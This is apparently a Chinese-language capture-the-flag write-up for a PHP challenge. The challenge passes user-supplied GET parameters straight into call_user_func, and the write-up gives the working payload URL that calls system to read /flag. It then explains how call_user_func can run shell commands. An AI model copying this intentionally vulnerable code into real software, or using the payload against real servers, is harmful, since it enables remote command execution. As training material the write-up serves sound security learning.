源码

<?php
if(isset($_GET['func']) || isset($_GET['arg'])){
call_user_func($_GET['func'], $_GET['arg']);
} else {
echo "服务器剩余防御:1层";
}
?>

思路

存在回调函数call_user_func,可以构造函数执行系统命令,使用下面的参数即可

http://ctf.seek2.top:32811/?func=system&arg=cat%20/flag

第一个参数是函数名,第二个是参数

知识点

call_user_func() 是 PHP 中的一个内置函数,它的作用是调用回调函数并传递参数。这个函数接受两个参数:第一个参数是要调用的函数名(或者是一个包含对象和方法名的数组),第二个参数是要传递给函数的参数。

举个栗子,使用 call_user_func() 来调用 system 函数,并传递 ls 作为参数。system 函数是 PHP 的一个内置函数,可以执行系统命令。ls 是 Unix 系统中的一个命令,用于列出目录中的文件。

call_user_func('system', 'ls'); // 等价于system('ls');

这行代码相当于在终端执行 ls 命令,并将结果输出。